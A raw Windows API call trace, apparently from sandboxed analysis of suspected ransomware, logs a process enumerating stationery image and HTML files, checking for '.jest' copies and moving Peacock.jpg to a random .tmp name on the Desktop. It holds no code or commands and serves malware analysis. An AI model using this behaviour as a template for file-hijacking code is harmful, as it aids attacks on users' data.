[0121.537] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e6d8*="Bears.jpg") returned 0x49 [0121.537] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8267651c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x48, dwReserved1=0x56006533, cFileName="Bears.jpg", cAlternateFileName="")) returned 0x143ce48 [0121.538] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.538] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x49 [0121.538] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x49 [0121.538] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.539] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xcf)) [0121.539] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xcf)) [0121.539] GetUserDefaultLCID () returned 0x409 [0121.539] VarBstrFromR4 (in: fltIn=0x4794431a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.2") returned 0x0 [0121.539] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x49 [0121.539] GetFullPathNameA (in: lpFileName="wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", lpFilePart=0x18e708*="wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp") returned 0x8e [0121.540] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e708*="Bears.jpg") returned 0x49 [0121.540] GetFullPathNameA (in: lpFileName="wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", lpFilePart=0x18e6e4*="wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp") returned 0x8e [0121.540] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wXGowzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f475877, cFileName="wzSFg1FtbRx9UI9qkHB Nq2qBVtkKfqGLbOE7Ri7sjsh XASyqyp7UPr_PeZOZNJpt2FH_ciQj7h9 1Mmpjkn_HJc7xSA K7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.540] GetLastError () returned 0x2 [0121.540] GetLastError () returned 0x2 [0121.540] SetLastError (dwErrCode=0x2) [0121.540] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.541] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.541] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.541] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.541] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.541] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e870*="Bears.jpg") returned 0x43 [0121.543] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.jest", lpFilePart=0x18e870*="Bears.jpg.jest") returned 0x48 [0121.545] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e6d8*="Bears.jpg") returned 0x43 [0121.545] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x78, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 0x143ce48 [0121.545] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.546] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x43 [0121.546] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x43 [0121.546] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.546] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xcf)) [0121.546] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xcf)) [0121.546] GetUserDefaultLCID () returned 0x409 [0121.546] VarBstrFromR4 (in: fltIn=0x4794431a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.2") returned 0x0 [0121.547] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e780*="Bears.jpg") returned 0x43 [0121.547] GetFullPathNameA (in: lpFileName="i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", lpFilePart=0x18e708*="i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp") returned 0x8e [0121.547] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x18e708*="Bears.jpg") returned 0x43 [0121.547] GetFullPathNameA (in: lpFileName="i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", lpFilePart=0x18e6e4*="i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp") returned 0x8e [0121.548] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i AyIY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79412069, cFileName="IY2pE_C3 WYZ3PZh25BWilbj77z2sccX6B2c2JQKz5-atgW5G5StZJFggnxY2vFKYDP-MHO505dwj2Z0qWO_KnQfPeGXlgv .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.548] GetLastError () returned 0x2 [0121.548] GetLastError () returned 0x2 [0121.548] SetLastError (dwErrCode=0x2) [0121.548] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.548] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.548] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.548] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.548] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.549] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e870*="Peacock.jpg") returned 0x59 [0121.553] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.jest", lpFilePart=0x18e870*="Peacock.jpg.jest") returned 0x5e [0121.555] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e6d8*="Peacock.jpg") returned 0x59 [0121.555] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x78, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 0x143ce48 [0121.555] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.555] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x59 [0121.556] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x59 [0121.557] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.557] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xdf)) [0121.557] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xdf)) [0121.557] GetUserDefaultLCID () returned 0x409 [0121.557] VarBstrFromR4 (in: fltIn=0x4794431d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.23") returned 0x0 [0121.557] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e780*="Peacock.jpg") returned 0x59 [0121.558] GetFullPathNameA (in: lpFileName="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", lpFilePart=0x18e708*="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp") returned 0x8f [0121.558] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e708*="Peacock.jpg") returned 0x59 [0121.558] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i5dtwzvsi-fvgcusbeqls6gf1dyoziiyckcf6zzg40khsir0klzq bsth20jouibdo1yzusphsbxenbfivvaijbd58cqxxxmpp8b_.tmp")) returned 1 [0121.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.561] GetFullPathNameA (in: lpFileName="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", lpFilePart=0x18e6e4*="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp") returned 0x8f [0121.561] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x730a590, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x144dde0, dwReserved1=0x1410000, cFileName="i5DtwZvSI-fVgCusBEqLs6Gf1dYOZIiYckCf6ZzG40KHsIr0klZq BstH20jouIbdo1YzusPhsbXENbfivVaIJBD58cqXXXmpP8B_.tmp", cAlternateFileName="I5DTWZ~1.TMP")) returned 0x143ce48 [0121.561] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0121.561] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0121.561] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0121.561] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0121.561] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0121.561] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0121.565] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.565] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.565] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.565] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.565] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.565] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e870*="Garden.htm") returned 0x4a [0121.567] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.jest", lpFilePart=0x18e870*="Garden.htm.jest") returned 0x4f [0121.568] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e6d8*="Garden.htm") returned 0x4a [0121.568] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e73264, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Garden.htm", cAlternateFileName="")) returned 0x143ce48 [0121.569] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.569] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x4a [0121.569] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x4a [0121.569] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 